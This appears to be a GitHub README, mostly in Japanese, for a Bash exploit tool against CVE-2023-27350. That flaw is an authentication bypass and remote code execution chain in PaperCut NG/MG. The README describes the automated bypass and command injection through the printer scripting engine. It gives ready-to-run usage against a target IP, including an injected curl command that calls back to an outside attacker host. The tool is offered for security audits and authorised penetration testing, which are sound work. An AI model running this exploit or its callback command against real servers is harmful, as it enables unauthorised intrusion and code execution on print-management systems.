dezso-dfield/cve-2023-27350PaperCut NG/MG 認証バイパスおよびリモートコード実行（RCE）エクスプロイトツール。PaperCut エクスプロイトチェーンのスタンドアロン Bash 実装で、オプションのプロキシサポート、自動セッション昇格、印刷スクリプトエンジンを介した動的コマンドインジェクションを備えています。セキュリティ監査および許可されたペネトレーションテスト向けに設計されています。
CVE-2023-27350 向けの効率的な Bash エクスプロイトです。このスクリプトは、PaperCut プリンタースクリプトエンジンを介して、認証バイパス、環境準備、コマンドインジェクションを自動化します。
# Clone the repository
git clone https://github.com/dezso-dfield/CVE-2023-27350.git
# Enter the directory
cd CVE-2023-27350
# Make the script executable
chmod +x rce.sh
# Run the exploit (Example with Proxy)
./rce.sh -u http://10.129.238.16:9191 -x http://10.129.238.16:3128 -c "curl http://10.10.15.82:8000/rce"
-u : ターゲットURL（例：http://10.129.x.x:9191）-c : 実行するコマンド（引用符で囲む）-x : （オプション）プロキシURL（例：http://10.129.x.x:3128）